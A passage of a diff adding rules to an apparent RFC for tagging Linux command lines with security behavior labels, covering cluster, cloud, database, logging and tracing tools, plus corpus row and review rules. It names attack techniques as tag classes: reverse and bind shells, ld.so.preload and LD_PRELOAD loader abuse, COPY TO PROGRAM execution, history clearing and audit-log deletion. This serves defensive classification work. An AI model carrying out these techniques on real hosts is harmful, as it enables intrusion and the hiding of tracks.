+PodSecurityPolicy, admission webhooks, ValidatingAdmissionPolicy,
+ValidatingAdmissionPolicyBinding, Kyverno Policy/ClusterPolicy, Gatekeeper
+constraints, and comparable admission policy reads use `inspect_auth_policy`;
+their mutations use `modify_cluster_auth_policy`, except concrete binding
+grants may use `grant_cluster_privilege`. Namespace label changes that set Pod
+Security Admission modes such as `pod-security.kubernetes.io/enforce` are
+`modify_cluster_auth_policy`. CronJob collection and named reads use
+`enumerate_scheduled_tasks` or `read_scheduled_task`; CronJob create,
+update/patch, and delete use `create_scheduled_task`,
+`modify_scheduled_task`, and `delete_scheduled_task`. A Job created from a
+CronJob template with a visible CronJob owner is `execute_scheduled_task`; a
+plain Job create remains `modify_workload`. Velero Backup, Restore, Schedule,
+and comparable backup-controller CRDs use `manage_infrastructure_backup` for
+backup/restore lifecycle operations. CertificateSigningRequest approval,
+CertificateRequest, Certificate, Issuer, ClusterIssuer, and comparable
+certificate workflow mutations use `modify_verification_material`; plain
+collection reads remain cluster-resource enumeration unless the event reads a
+concrete Secret containing certificate private material. GitOps and operator
+service accounts are tagged by the visible API operation they perform, not by
+the caller identity.
+Live Kubernetes and OpenShift resource changes are not cloud-control-plane
+resource changes unless the command addresses a provider resource outside the
+cluster API. Apply/delete/patch/label/taint operations on ordinary cluster
+objects, nodes, namespaces, PVCs, webhooks, and add-ons are workload or cluster
+state modification. Traffic exposure and routing objects such as Services,
+Ingresses, Endpoints, Routes, and service-mesh VirtualServices use
+`modify_route`. RBAC, admission/auth policy, secrets, NetworkPolicies, and
+CronJobs keep their specialized cluster, firewall, secret, or scheduled-task
+tags.
+OpenShift project/context helpers follow the same local context rule. `oc
+project`, `kubectx`, and `kubens` modify or read local kubeconfig context state
+according to the visible option. `oc expose svc/...` creates or changes cluster
+routing/exposure and is `modify_route`; `oc start-build --follow` combines
+container-image build behavior with build log reading.
+
+Infrastructure template rendering, planning, validation, linting, and dry-run
+forms are `plan_infrastructure_template` when they do not apply changes to a
+live target. Source operands can add the applicable semantic read tag when the
+path or tool establishes a meaningful source class. Live cluster changes such
+as Helm upgrade/install/rollback/uninstall remain workload modification unless
+the command is explicitly only a template or dry-run render.
+Helm release queries such as history, status, values, and manifest reads inspect
+the managed workload or release state; they are not local infrastructure-config
+reads solely because Helm values look like configuration. Redirecting that
+output to a file does not add a file-path behavior tag.
+Helm release test runs are workload/service health tests, not source builds.
+Helm template, lint, diff, and comparable render/validation-only operations are
+infrastructure-template planning unless they apply changes to a live target.
+Jsonnet rendering and Kustomize localization follow the same infrastructure
+template planning boundary; output destinations do not add file-path behavior
+tags unless the command is explicitly editing local source/config files.
+Service-mesh CLI operations follow the same operation split: analysis, injection
+rendering, and proxy configuration views are planning or inspection; install
+commands apply infrastructure templates; dashboard commands that open a local
+web UI are local listener creation.
+CI workflow files inside source repositories are source/automation definitions,
+not host infrastructure configuration. Reading, linting, diffing, or editing
+`.github/workflows` uses source or repository tags. A visible scheduled trigger
+inside the workflow, such as an `.on.schedule` query, also reads scheduled-task
+content.
+Writing a workflow, Dockerfile, Jenkinsfile, or comparable automation file may
+use `write_executable_content` when the inserted content is executable syntax,
+but embedded future commands do not add current download, upload, credential
+read, environment read, or execution tags unless this command line executes
+them now.
+
+GitOps and infrastructure-as-code CLIs follow the visible operation, not the
+repository, app, stack, or target name. Argo CD and Flux app sync, rollback,
+reconcile, suspend, and resume operations modify the managed workload or
+deployment state; app diff/get and kustomization listing inspect or enumerate
+that state. Terraform, Terragrunt, and Pulumi init, plan/preview, apply/up,
+destroy, state, stack-select, and config commands use the corresponding
+infrastructure-template or infrastructure-config tags. Explicit secret-config
+writes, such as Pulumi `config set --secret`, also use `write_secret_store`.
+Git configuration, remote URLs, and repository-local metadata are source
+repository state. Reading or changing them uses source repository tags, not
+host infrastructure-configuration tags, unless a stronger content class such as
+credential material is visibly requested.
+Ansible ad-hoc modules and playbooks execute remote automation unless the
+visible module is only a connectivity probe. `ping` is
+`probe_remote_access_service`; `shell`/`command`/playbook execution is
+`execute_remote_command`; `copy`, `package`, and `service` add the visible
+file/package/service effect when arguments establish it. Packer `fmt`,
+`validate`, `init`, and `build` modify, plan/read, initialize, and build
+machine-image templates according to the visible subcommand and builder; VM
+image builders use `manage_virtual_machine`, while explicit container builders
+use container-image tags. Vagrant, libvirt/virsh, virt-install, virt-clone, and
+QEMU lifecycle operations that create, start, stop, suspend, resume, provision,
+clone, undefine, or destroy local VM state use `manage_virtual_machine`. VM
+status, listing, metadata inspection, console attach, and disk-image file reads
+remain ordinary inspect, enumerate, connect, or file-read behavior.
+Ansible inventory listing, host views, graph views, and playbook
+`--syntax-check` read inventory or automation content but do not execute remote
+automation. Dynamic cloud inventory plugins that query provider APIs also
+enumerate cloud resources.
+
+Cloud credential wrappers such as `aws-vault exec` are execution-context
+boundaries: tag the visible nested command's behavior and add changed-identity
+execution only when a command is actually run under that profile. Cloud
+kubeconfig export helpers such as `aws eks update-kubeconfig` and `gcloud
+container clusters get-credentials` export cluster connection configuration;
+when they write local kubeconfig state, `modify_infrastructure_config` may
+coexist with `export_cluster_config`.
+Cloud CLI login or service-account activation is `authenticate_cloud_cli`; cloud
+CLI config setters are `configure_cloud_cli`. Explicit token refresh, renewal,
+logout, session revocation, or token-delete APIs use the access-token lifecycle
+tags instead of generic cloud CLI configuration.
+Cloud account, subscription, project, tenant, and organization listings are
+`enumerate_cloud_accounts`. Cloud IAM users, service accounts, roles, service
+principals, and groups are cloud identity enumeration or mutation, not cloud
+account enumeration.
+Cloud IAM policy-document creation, replacement, versioning, or custom-role
+definition changes are cloud identity policy modification. Binding a policy or
+role to a principal grants cloud privilege; removing that binding revokes cloud
+privilege. Visible policy-document file operands read auth-policy content.
+Cloud compute reads split by visible scope: bulk `list` or filtered
+`describe-instances` resource discovery is `enumerate_cloud_resources`, while a
+single VM/server/instance detail view such as `instances describe`, `vm
+get-instance-view`, `server show`, or single-instance attribute reads is
+`read_cloud_metadata`. Cloud VM remote command helpers are
+`execute_cloud_compute`, with the nested script's visible download, execution,
+file, service, or inspection behaviors added. Explicit cloud VM restart/reset
+operations use `reboot_host`; start, stop, migrate, evacuate, tag, metadata, or
+attribute changes remain `modify_cloud_resource`.
+Cloud-provider resources and cluster resources are separate. IAM users, roles,
+policies, service accounts, cloud functions, cloud SQL instances, snapshots, and
+provider-managed templates use cloud-control-plane tags. Kubernetes namespaces,
+ConfigMaps, Knative services, cluster add-ons, and dry-run rendered manifests use
+cluster/workload or planning tags instead of `create_cloud_resource`. Cloud DB
+connection commands are `connect_cloud_database`; auth-token generation,
+connection-string display, and SQL execution are token creation, metadata read,
+or query behavior according to the visible subcommand.
+Cloud DNS, firewall/security-group, IAM privilege, and access-token operations
+use their specialized tags instead of generic cloud-resource modification.
+Provider queue or stream purge/delete operations modify coordination or queue
+state rather than deleting a cloud resource.
+
+PaaS and scheduler CLIs follow visible platform operation. Heroku/Fly app
+creation, deploy, scale, config, run, SSH console, secrets, and logs map to
+cloud resource modification, workload execution, interactive shell, cloud
+secret modification, or workload log reads according to the subcommand. Vault,
+Consul KV, ZooKeeper, etcd, and comparable coordination/KV commands use
+secret-store or credential tags for secret paths or secret-like keys;
+ordinary service/config keys use `read_coordination_data` for reads and
+`modify_coordination_data` for writes/deletes. Nomad job run/stop/status and
+allocation logs map to workload modification, inspection, and workload log
+reads.
+Application framework maintenance-mode commands, such as enabling or disabling
+maintenance mode, modify service state. A visible maintenance bypass secret or
+temporary access token creates access-token material. Explicit render/template
+file operands read their source content but do not execute that content unless
+the command runs it now.
+Vault `operator unseal` changes Vault service availability state and uses
+`modify_service_state`. Unseal keys read from visible files or command
+substitutions add credential-material reads; output captured with `tee` or
+redirection remains incidental output capture.
+Remote service, KV, or coordination-state query output redirected to a local
+file keeps the source domain tag and does not add a file-path behavior tag.
+Mail operations follow visible mail-system semantics. SMTP/IMAP/TLS handshakes
+and no-op checks are mail-server connections; synchronization tools such as
+fetchmail, getmail, mbsync, offlineimap, and imapsync fetch remote mail. Mailbox
+file reads and `doveadm` mailbox queries read mailboxes. Postfix/Exim queue
+listing or message inspection inspects the mail queue; queue delete, hold,
+release, flush, or retry commands modify it. Spam/ham learning commands train a
+mail filter. Commands that visibly send mail use `send_mail`. Mailbox MIME
+extraction uses the applicable destination/content semantic tag only when
+extracting attachment or message content to local files is the direct operation,
+not for incidental reports.
+Database CLIs follow the visible database operation. Session opens, readiness
+probes, schema enumeration, data queries, schema/data mutations, dumps, restores,
+and benchmark/load-test runs use their database-specific tags. SQL file operands
+or stdin redirects used by clients such as `psql`, `mysql`, and `mariadb` are
+database import or script execution inputs, with semantic source reads added
+only when the source path establishes one; when no dedicated script-execution tag
+exists, use the visible SQL objective from the subcommand or strong script name,
+and keep a plain session tag only when the objective is not established. Client
+defaults files are
+infrastructure configuration reads. Client TLS certificates and keys are
+verification and credential material reads. Database admin status and
+process-list commands inspect the service; variables/config views read
+infrastructure configuration, and extended status/metrics views read service
+metrics.
+Database deletion tags distinguish object removal from row/document deletion.
+Dropping a concrete database, schema, index, or data stream is `delete_database`;
+SQL `DELETE`, `_delete_by_query`, partition/content removal, and wildcard or
+bulk deletion of matching data collections are `delete_database_data`.
+Database server-side external features are taggable when visible in the SQL.
+PostgreSQL `COPY ... TO/FROM PROGRAM` is remote command execution from the
+database service context, and server-side file read/write functions inherit the
+visible target's semantic file tag when the target path establishes one.
+Local database engines such as ClickHouse local mode and DuckDB still use
+database query, schema, mutation, import, or export tags according to the SQL
+operation. File operands used as table input, query files, init scripts, or
+message sources add semantic source reads only when their content class is
+visible. SQL text that names `system_config`, `audit_log`, credentials, cron, or
+other domains is database data unless the command reads or mutates the external
+domain object itself.
+
+Message broker CLIs follow the visible broker operation. Console consumers and
+producers use message consume or publish tags without adding connection tags
+solely because a broker endpoint is present. Topic creation, deletion, and
+partition changes modify broker infrastructure configuration; topic listing and
+description inspect that infrastructure. Consumer-group offset resets and group
+deletions modify coordination data, while group listing and description inspect
+broker coordination state. Queue purge/delete and stream purge operations also
+modify broker coordination or queue state, not cache data. Producer or consumer
+config files add semantic source reads only when the path establishes a content
+class.
+
+Cache CLIs such as Redis clients follow the visible cache or service operation.
+Session opens and health probes are distinct from cache data reads. Key scans,
+key reads, and cache structure queries use cache query tags; key/value writes,
+deletions, pushes, and cache mutations use cache modification tags. Service
+metrics and memory/latency/status views read service metrics. Runtime
+configuration reads and writes use infrastructure configuration tags, except
+credential-bearing configuration such as passwords, which uses credential
+material reads when the value is explicitly requested. Snapshot, save, RDB
+export, restore, and pipe-import operations use database backup/export/import
+tags according to direction. ACL reads and mutations use auth or infrastructure
+privilege tags according to the visible operation.
+Search/index-service alias, template, route, cluster, and node configuration
+views inspect the infrastructure service; mutations to those objects modify
+infrastructure configuration.
+
+dbt subcommands are tagged from the dbt operation, not from project or profile
+directory names. `deps` installs project dependencies, `seed` loads seed data
+into the target database, `run` and `snapshot` modify database data or models,
+and `test` runs project tests. Project/profile paths can add semantic source or
+configuration reads only when the command visibly reads that content class; path
+names alone MUST NOT suppress or invent the dbt subcommand behavior.
+
+Spark, Flink, PySpark, Airflow, Oozie, Azkaban, DolphinScheduler, DataX,
+Kettle/Pentaho, dbt, Sqoop, Airbyte syncs, Pinot ingestion, Prefect, Dagster,
+Luigi, Argo workflow, Dataflow/Beam, Hadoop/YARN/MapReduce, HBase MapReduce,
+and comparable data-processing job systems use `manage_data_processing_job`
+for visible job lifecycle and monitoring behavior: submit/run, trigger,
+backfill, stop/kill/cancel, clear/rerun, pause/unpause, savepoint/checkpoint
+lifecycle, create/delete/update of data-job or sync definitions, status, list,
+describe, logs, or monitor operations. REST/API calls to job, flow,
+process-instance, task-instance, connection, or sync endpoints follow the same
+rule when they create, delete, update, trigger, inspect, or monitor that data
+processing unit. Dry-run, validation, and configuration-only forms do not manage
+a job unless they also perform one of those lifecycle operations.
+`pyspark` without a submitted script opens an interactive Spark shell and should
+use the same tag because it creates a data-processing session. Add local
+temporary or user-writable execution tags when the submitted application path
+establishes them, and add workload execution when the master targets Kubernetes
+or an equivalent workload runtime. Spark properties files are infrastructure
+configuration inputs with semantic source reads only when the path establishes
+another content class. HDFS `dfs` listing, usage, mkdir, get, put, and similar
+operations use enumeration, storage inspection, download, upload, permission, or
+domain-specific tags according to the visible operation; HDFS path names do not
+imply local file content reads. HDFS existence tests such as `-test -e` inspect file
+metadata. HDFS permission and ACL subcommands such as `chmod`, `chown`, and
+`setfacl` use the generic permission or ACL tags because the visible operation
+is an access-control mutation, even though the target is a distributed
+filesystem path.
+Object-storage metadata queries such as object head/stat and prefix stat/list
+operations enumerate object storage. They are not local storage-state
+inspection.
+
+Do not infer `manage_data_processing_job` from an incidental product name in an
+image, directory, metric label, log path, service daemon start, process path, or
+cleanup command. The command must operate on the job/pipeline/workflow itself or
+on a specific job-monitoring endpoint.
+
+Local data, ML, and model utility scripts are tagged from their visible inputs
+and outputs unless they invoke a job system above. Dataset profiling, feature
+building, model evaluation, explanation, export, quantization, redaction, and
+report generation read business data when the input dataset/model path
+establishes that class. Output reports, metrics, plots, or artifacts do not add
+a generic file-write tag; add an output-side tag only when the destination or
+artifact has a retained security semantic such as temporary or hidden staging,
+executable content, archive/compression, credential material, or source/config
+mutation. Feature-store pushes and comparable sync scripts use transfer or
+synchronization tags for the visible endpoint. Validation-only scripts read the
+validated data/config or verify the named artifact; they are not job management
+solely because the script is part of a pipeline.
+
+SQL gateway clients such as Beeline tag the visible data-service session or SQL
+operation. Query files and init files are database inputs with semantic source
+reads added only when the source path establishes a content class. Trust stores,
+keytabs, and similar connection-material operands are verification or credential
+material reads when visible in the connection string or options.
+
+Shell wrappers such as `sh script`, `bash script`, and explicit `-c` forms expose
+the nested command or script execution that runs now, but they are not retained
+behavior tags by themselves. Tag only the nested command's visible behavior,
+such as service mutation, content read/write, network connection, or execution
+from a temporary/user-writable path. Privileged shell modes do not by themselves
+imply privilege escalation. Startup and rcfile operands for interactive shells
+are shell initialization inputs; they do not prove future payload execution
+beyond the shell startup behavior visible in the command.
+Current-session aliases or environment changes such as `alias x=...`,
+`export HISTFILE=...`, or `unset HISTFILE` are not shell-startup modification
+unless persisted to a startup file. Shell history clearing requires a visible
+history clear, deletion, truncation, overwrite, or targeted edit of a history
+file; changing future history variables alone is not clearing existing history.
+
+OCI artifact tools follow artifact operation semantics. Cosign verify,
+triangulate, and attestation verification inspect or verify artifact metadata;
+oras/crane login authenticate; pull/download, push/upload, copy/tag, manifest,
+config, digest, and delete map to download/upload/transfer, inspect, or delete
+container-image/artifact behavior according to the subcommand. Helmfile `diff`
+is infrastructure planning, `sync`/`apply` modify workloads or apply templates,
+and `destroy` destroys managed infrastructure/workloads.
+Docker, Podman, Buildah, Kaniko, BuildKit, and Compose image-build operations
+use `build_container_image`, not `build_source_code`; Compose `up --build`
+keeps the visible container creation/start behavior as well.
+Cluster build triggers such as OpenShift `start-build` use container-image build
+semantics; follow/log modes add workload log reads.
+Application-store or depot upload commands that log in and submit a build use
+remote authentication plus the visible upload direction, not source-build tags,
+unless the same command also performs a local build step.
+
+Dynamic loader behavior is split by persistence target. `ldconfig` and loader
+cache or search-path updates modify dynamic-loader state. Writes, edits,
+symlinks, or truncation involving `/etc/ld.so.preload` modify library preload
+state. One-shot `LD_PRELOAD`, `LD_AUDIT`, `LD_LIBRARY_PATH`, GCONV, or explicit
+loader-invocation execution uses dynamic-loader execution behavior.
+
+Cryptographic commands tag the visible cryptographic operation plus retained
+semantic reads and writes. Key generation creates credential material;
+certificate/CSR inspection or signing reads verification or credential inputs
+and writes verification material when an output path is visible.
+Encryption/decryption reads the semantic source object and uses
+`encrypt_data`/`decrypt_data`; the destination path adds another tag only when it
+has a retained security semantic such as credential material, verification
+material, temporary or hidden staging, archive/compression, source/config
+mutation, or executable content. Digest and signature verification read the
+target artifact but do not become credential creation merely because key
+material is used.
+Access-token creation is for bearer/session/SAS/presigned/Kerberos or comparable
+time-bound access artifacts. Long-lived private keys, keystores, keytabs,
+password hashes, robot credentials, and certificate private-key bundles are
+credential material. Credential cracking tools use `crack_credential_material`;
+benchmark or self-test modes are performance tests, not cracking attempts.
+Encoding tags are for representation transforms such as base64, hex, JWT decode,
+and comparable reversible encodings. Plain text filtering or character deletion
+with tools such as `tr` and `sed` is not encoding unless the command performs a
+recognized encoding transform.
+Signature, attestation, and certificate tools that take explicit key,
+predicate, certificate, keystore, or artifact operands MUST tag those operands'
+visible semantic reads when the path establishes the content class. Key or
+keystore import, export, delete, and generation commands tag the visible
+credential or verification material mutation direction. Certbot standalone and
+webroot certificate issuance fetch remote certificate material; Certbot webserver
+installer plugins such as `--nginx` and `--apache` also modify infrastructure
+configuration.
+
+Network control tools MUST follow their primary operation. Active wireless
+scans are endpoint probes; viewing cached scan results or link/status state is
+network-state inspection. WPA supplicant network-list or configured-network
+field queries also inspect network state; they are not host infrastructure
+configuration reads. `ipset` and connection-tracking mutations are firewall
+policy/state mutations; listing them is inspection. SSH host-key collection with
+`ssh-keyscan` is a remote-access service probe, not a generic certificate fetch.
+VPN tools such as OpenVPN and WireGuard MUST use VPN management for connection
+or peer configuration actions, and network-state inspection for status views.
+
+Binary dependency and loader inspection tools such as `ldd` inspect the target
+file's linked dependencies or metadata. They are `inspect_file_metadata`, not
+generic system-state inspection, unless the command visibly queries runtime
+system state.
+Content rendering tools such as `strings`, `hexdump`, and `xxd` read target
+content. They inherit the target's semantic read tag and MUST NOT add
+`inspect_file_metadata` unless the command visibly inspects metadata rather than
+content.
+Kernel and runtime tracing tools such as `bpftrace`, `execsnoop`, `opensnoop`,
+`filetop`, `fileslower`, `filelife`, `perf trace`, and `sysdig` tag the tracing,
+eBPF loading, packet capture, or capture-file read that is currently performed.
+Probe names, filters, process names, and quoted command patterns are selectors
+only; they MUST NOT be tagged as execution, semantic file reads, credential
+reads, or log reads unless the command actually executes or reads that object
+now. Process-exec tracers use `trace_process_execution`; file-open/access
+tracers use `trace_file_access`. Output flags that write trace or capture data
+tag the visible write only when the vocabulary has a suitable write tag.
+`strace` and `ltrace` follow the same rule; a real command operand is executed
+under tracing, while `strace -e trace=file`, `open`, or `openat` forms are file
+access tracing rather than semantic reads of the matched paths.
+Kernel parameter reads and writes include `sysctl` and `/proc/sys` paths.
+Kernel state reads include `dmesg`, `uname`, cgroup/kernel debug state, and
+feature/status probes that do not read a tunable parameter. Process memory reads
+cover `/proc/<pid>/mem`, core files, heap dumps, and memory images; thread dumps,
+backtraces, stack dumps, pprof/perf captures, and comparable runtime snapshots
+capture process state. Terminal scrollback capture from tools such as tmux is
+not process-state capture. Commands that add or remove tracing probes modify
+kernel tracing state; commands that record or display observed execution traces
+use tracing tags.
+Local hardware and accelerator status tools such as GPU inventory, utilization,
+topology, clock, power, and temperature queries inspect system state. Cluster
+metric commands such as Kubernetes `top` read service metrics rather than local
+host state.
+Host security audit and malware scan tools inspect system state unless a more
+specific content class is visible. Their target path alone does not make the
+operation storage-state inspection. Explicit report, log, quarantine, or output
+destinations do not add file-path behavior tags; quarantine or move operations
+require a retained semantic tag such as critical-path, credential, log, archive,
+or domain-specific mutation to be taggable.
+Packet tools such as `tcpdump` and `tshark` use live capture tags for interface
+captures and `read_packet_capture` for `-r` capture-file reads. Capture filters
+and display filters are selectors; uploading captured output keeps both the
+capture/read tag and the visible upload direction. Tools that read saved pcap,
+pcapng, flow, or Zeek input files use `read_packet_capture`; tools that merely
+serve or relay a capture-named file over a listener do not become packet
+capture. Active traffic redirection or spoofing commands are route modification
+when the visible objective is path manipulation; add listener tags only when the
+tool starts reachable services now.
+Shell and tunnel direction is determined by the command's active network role.
+`spawn_bind_shell` requires a listening endpoint whose executed program is a
+shell; a listener that serves a file, forwards bytes, or runs a non-shell command
+is not a bind shell. `spawn_reverse_shell` requires an outbound connection wired
+to an interactive shell; strings that merely print a payload, dead arguments, or
+one-way content piped into an interpreter are not reverse shells. Reverse-tunnel
+clients such as `ssh -R` and `autossh -R` are not additionally local listeners,
+but reverse-tunnel servers or relay daemons with explicit listen ports do listen.
+Loopback and Unix-socket services are local listeners; wildcard or non-loopback
+binds are network listeners. Remote interactive clients such as Mosh, Telnet, and
+WinRM open remote sessions; tag them as service connections and add
+`spawn_interactive_shell` only when the command establishes an interactive shell
+or shell-like session, not for banner probes.
+DNS record, zone, resolver, and provider-record mutations are DNS config
+modification. DNS cache flushes are cache flushes, not DNS config changes.
+DNS server zone/config reload commands are DNS configuration state changes, not
+generic service-state changes, when the visible operation is reloading DNS
+zones or resolver configuration.
+Zone-transfer commands use `perform_dns_zone_transfer`; uploaded zone-transfer
+output keeps the visible upload direction and sensitive-content class when the
+zone or output path establishes it. VPN start, stop, up, down, and initiate
+commands manage VPN connections; explicit VPN profile/config operands also read
+infrastructure config.
+System log writers such as `logger` tag appended system-log content. Literal log
+messages are not executed or reclassified from their text. File-input modes such
+as `logger -f` and journald-entry file modes also read the visible source file's
+semantic content when the source path establishes one.
+Journal readers such as `journalctl` tag the visible journal read, search,
+storage inspection, or vacuum operation. Unit names, fields, and time ranges are
+filters; they MUST NOT become service inspection or execution tags. SSH/auth
+units and fields read authentication audit logs, audit transports or auditd read
+system audit logs, infrastructure daemons read infrastructure logs, and
+application/business services read business logs. `--vacuum-*` mutates journal
+retention and is log deletion; `--disk-usage` inspects journal storage usage.
+Deleting visible log files is log deletion, not a file-path deletion behavior.
+Authentication and audit logs use `delete_audit_log`, system logs use
+`delete_system_log`, infrastructure daemon logs use `delete_infrastructure_log`,
+and application or business-service logs use `delete_business_log`. If the same
+command also deletes non-log artifacts, add another tag only when those artifacts
+have a retained semantic class.
+Log rotation tools read their visible rotation configuration. Debug or dry-run
+forms tag only the configuration read and other non-mutating inspection visible
+in the command. Forced, verbose, or normal rotation forms that actually perform
+rotation tag compression/rotation behavior in addition to the configuration
+read.
+
+Storage inventory and usage tools such as `df`, `du`, `lsblk`, `blkid`, and
+partition-table listing forms of `fdisk`/`sfdisk` are storage-state inspection.
+Their path operands MUST NOT be upgraded to semantic file, secret, SSH, or
+cluster reads unless the tool visibly reads that content rather than storage
+metadata or usage.
+
+Partition editors without an explicit listing, size, dump, JSON, print, or dry
+run mode are storage-volume mutation. `partprobe` without dry-run mutates the
+kernel's partition view; dry-run forms are storage-state inspection.
+
+Filesystem check tools are storage-state inspection when run in dry-run,
+no-write, or report-only modes. Auto-repair modes such as assume-yes or
+preen/automatic repair are storage-volume mutation. Mount table queries are
+storage-state inspection; mounting and unmounting are mount-state mutation.
+Loop-device attach/detach mutates storage-volume state; loop-device listing or
+free-device discovery is storage-state inspection. Swap creation/enabling and
+disabling are swap-state mutations, not ordinary filesystem formatting. Block
+copy tools such as `dd` are copies or reads according to their visible source
+and destination; writing to `/dev/null` or `/dev/zero` is not secure deletion
+unless the command visibly overwrites the target object being deleted.
+Container or local volume lifecycle operations such as volume removal mutate
+storage-volume state rather than deleting ordinary filesystem paths.
+Snapshot listing, snapshot metadata display, and backup snapshot inventory are
+inspection. Snapshot creation, deletion, rollback, merge, protect, unprotect,
+or restore/import operations use snapshot management.
+
+Single-stream compression tools such as `gzip`, `gunzip`, `bzip2`, and `xz` use
+compression or decode tags. Their decompression modes MUST NOT be labeled as
+archive extraction unless the tool actually extracts archive members. Test modes
+that validate compressed streams are artifact-integrity verification.
+Compression, archive, decode, and integrity-test commands also inherit visible
+source-content read tags when the source path identifies scheduled-task,
+credential, log, config, business, source-code, process-memory, or comparable
+semantic content.
+Archive listing modes such as `tar -tf`, `zip/unzip -l`, `7z l`, and `cpio -it`
+enumerate archive members. Package manager metadata queries against the local
+package database or configured package repositories, including OS package
+managers and language package managers such as `apt`, `apt-cache`, `yum`, `dnf`,
+`zypper`, `apk`, `pacman`, `pip`, `gem`, `composer`, `cargo`, `npm`, `yarn`,
+`pnpm`, and `rpm -q*` query forms, are package enumeration.
+Remote application-store searches such as `snap find` and `flatpak search` are
+package enumeration, not a removed remote-query fallback. Package-manager
+commands that request ephemeral package resolution for a visible command, such
+as `npx --package`, include
+`install_package` in addition to the invoked command's visible behavior. Package
+simulation requires an explicit dry-run/simulate/no-act form; debug output alone
+does not make an update or install simulated. `execute_package_hook` is reserved
+for commands that visibly run package maintainer scripts, package triggers, or
+package lifecycle scripts, such as explicit configure/trigger/postinst invocations
+or install commands that explicitly enable script execution. Plain package
+installs do not gain that tag solely because package managers may run hooks
+internally. Persisting hook content into a package artifact is future behavior,
+not current hook execution. System selector tools such as `alternatives --install`
+are system configuration mutations, not package installs or hooks. Package
+scripts and build targets such as `npm run`, `yarn run`, `pnpm run`, and
+`make <target>` MUST NOT be tagged from target names alone. Tag only visible
+effects in the command line, or standard build/test/lint behavior when the tool
+form itself establishes it. Standalone project test commands such as `go test`,
+`cargo test`, `pytest`, `npm test`, `npm run test`, `yarn test`, `pnpm test`,
+`gradle test`, and Unity test runs use `build_source_code` as project source
+build/validation behavior when the tool form establishes a real test run. Report
+and coverage output paths are incidental unless the command directly edits
+source/config/data files. Lint, type-check, static-analysis, and documentation-generation
+commands follow the same rule; benchmark commands use `run_performance_test`.
+Source-code generators and formatters that write generated or reformatted source
+use `modify_source_code`; artifact-only compilers may still use
+`build_source_code`.
+Compiler, linter, and syntax-check commands that take a strongly identified
+non-source input such as an audit log, systemd unit, Kubernetes manifest, or
+build script inherit that input's semantic read tag instead of being reduced to
+source-build behavior.
+Standard install targets such as `make install` use `install_package`; dry-run
+publish/package verification uses `verify_artifact_integrity`. Strong persistence
+targets such as an executed `install-persistence` target may use persistence tags
+when the objective is explicit.
+Dry-run or no-op build forms such as `make -n` do not use `build_source_code`
+unless another visible tag captures the simulated operation.
+Build or package commands that explicitly pass a hook payload for current
+execution, such as a pre-goal or release-hook command, use
+`execute_package_hook` plus the visible nested behavior.
+Storage pool scrub/status/list operations are
+storage-state inspection unless the command visibly creates, imports, destroys,
+or reconfigures storage state.
+
+Command wrappers that accept a command operand, including `ssh-agent <command>`,
+execute that operand now. Reviewers MUST tag the nested command's visible
+behavior when a specific execution tag applies; wrapper setup without a command
+operand has no behavior tag by itself.
+
+## Schema Boundary Notes
+
+This section is normative, but intentionally limited. The RFC does not repeat
+obvious tag names from the schema. It records only schema-level boundaries that
+are easy to overuse, confuse with siblings, or break after recent tag removals.
+
+- Generic file CRUD tags do not exist in rev20. Ordinary create/write/delete/
+  copy/move mechanics get no tag unless the target has a retained security
+  meaning: credential, log, source, scheduled task, systemd unit, critical
+  system path, temporary or hidden staging, special node, executable content,
+  trust store, kernel module, archive/compression, transfer direction, or a
+  domain-specific mutation.
+- Generic search does not exist in rev20. Only credential/sensitive/SUID/SGID/
+  capability/world-writable search classes have retained search labels. Other
+  filename discovery is `enumerate_filesystem`; content filtering inherits the
+  visible source class, such as config, source, business data, or log.
+- Generic remote-service query does not exist in rev20. HTTP/RPC/API requests
+  must use a concrete probe, health, metrics, download/upload, mail, database,
+  cache, object-storage, cloud, workload, infrastructure, or other retained
+  domain tag. Opaque remote/API reads with no retained security target get no
+  placeholder tag.
+- `inspect_system_state`, `inspect_service`, `inspect_infrastructure_service`,
+  `inspect_workload`, and generic cloud resource CRUD are strict fallbacks. Use
+  them only after more specific read, metric, log, config, auth, secret,
+  workload, storage, network, kernel, package, cloud, or domain tags are
+  excluded.
+- `read_container_secret` is for secret material exposed through a container
+  runtime, mounted secret path, or container environment. `read_cluster_secret`
+  is for secret objects read through the cluster API.
+- Cluster privilege revocation has no dedicated rev20 tag. Use
+  `modify_cluster_auth_policy` for visible removal or weakening of cluster
+  RBAC/auth policy unless the operation is a concrete secret or identity-object
+  deletion.
+- Lifecycle tags such as `manage_data_processing_job`, `manage_virtual_machine`,
+  `manage_snapshot`, `manage_database_backup`, and
+  `manage_infrastructure_backup` are valid security-domain labels. Do not split
+  them by verb unless a future downstream security decision requires finer
+  direction.
+
+## Corpus Row Shape
+
+Corpus rows and manual review overlay rows MUST use top-level fields for active
+metadata. They MUST NOT use nested explanation wrappers or model-output
+bookkeeping as row fields.
+
+Required fields for a full corpus row:
+
+```json
+{
+  "observation_id": "stable row id",
+  "raw": "one raw Linux command line",
+  "behavior_tags": ["zero or more visible complete behavior labels"],
+  "label_source": "source identifier",
+  "meaning": "one objective sentence or paragraph about the visible command",
+  "review_count": 0
+}
+```
+
+`meaning` is the only explanation field. Rows MUST NOT contain `rationale`,
+`review_rationale`, `stage1_analysis`, `objective_analysis`, or corpus-row
+`model`.
+
+`review_count` is a non-negative integer. New rows start at `0`. Each completed
+manual or agent review pass over that row MUST increment it by exactly `1`,
+regardless of whether the tags changed.
+
+## Corpus Change Gate
+
+Every corpus tag change MUST include:
+
+1. The visible command evidence.
+2. The previous tag set and proposed tag set.
+3. At least one RFC principle ID.
+4. A short explanation of why the previous tag set violates that principle.
+
+Appendix example IDs MAY be cited as supporting evidence, but an example alone is
+not sufficient authority for a corpus rewrite.
+
+The following are not sufficient reasons to change a row:
+
+- "More precise."
+- "Looks suspicious."
+- "A path name appears without a visible operation that uses it."
+- "The binary often does X."
+- "Another reviewer would tag it this way."
+- "The command could do X after execution."
+- "The model currently confuses this label."
+
+If no existing principle decides the case, reviewers MUST update the RFC core or
+add the case to the open gaps before changing matching corpus rows.
+
+## Review Workflow
+
+### New corpus row
+
+1. Apply the decision procedure.
+2. Apply the tagging principles.
+3. Consult appendix examples only as illustrations of the principles.
+4. If no principle covers a high-confusion case, propose an RFC update before
+   adding many similar rows.
+
+### Existing corpus row
+
+1. Start from "no change".
+2. Identify a concrete schema or RFC principle violation.
+3. Change only the tags needed to fix the violation.
+4. Preserve the row when both tag sets are defensible under current principles.
+
+### RFC update proposal
+
+A proposal SHOULD include:
+
+```json
+{
+  "principle": "RFC-PN or new principle",
+  "status": "proposed",
+  "problem": "short description of recurring ambiguity",
